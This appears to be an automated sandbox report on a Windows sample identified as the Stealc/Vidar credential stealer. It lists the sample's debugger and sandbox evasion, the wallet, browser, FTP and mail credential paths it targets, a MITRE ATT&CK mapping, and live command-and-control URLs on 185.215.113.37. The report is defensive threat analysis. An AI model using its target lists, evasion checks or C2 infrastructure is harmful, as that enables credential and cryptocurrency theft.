Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13638
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13598

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004A45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_004A45C0

Source: C:\Users\user\Desktop\file.exe

0_2_004B9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004B9750 mov eax, dword ptr fs:[00000030h]

0_2_004B9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004B7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_004B7850

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 4308, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004B9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_004B9600

Source: file.exe, file.exe, 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: dxrBProgram Manager
Source: file.exe, 00000000.00000002.1932704481.0000000000873000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: odxrBProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_004B7B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004B6920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_004B6920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004B7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_004B7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_004B7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_004B7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.4a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1933207036.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1705496140.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4308, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 4308, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1933207036.0000000001033000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 4308, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.4a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1933207036.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1705496140.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1932399185.00000000004A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4308, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 4308, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	335 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Name	Malicious	Reputation
http://185.215.113.37/	true	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	BKJEGDGI.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	GCGCFCBAKKFBFIECAEBAEBGCGD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/_	file.exe, 00000000.00000002.1933207036.0000000001033000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	file.exe, 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	BKJEGDGI.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.1948849062.0000000029543000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp, JKKFIIEBKEGIEBFIJKFI.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	BKJEGDGI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.1933207036.0000000000FBE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1932399185.000000000066B000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1777665817.000000001D49C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1932399185.00000000004FA000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpCoinomi	file.exe, 00000000.00000002.1933207036.0000000001041000.00000004.00000020.00020000.00000000.sdmp	false		unknown
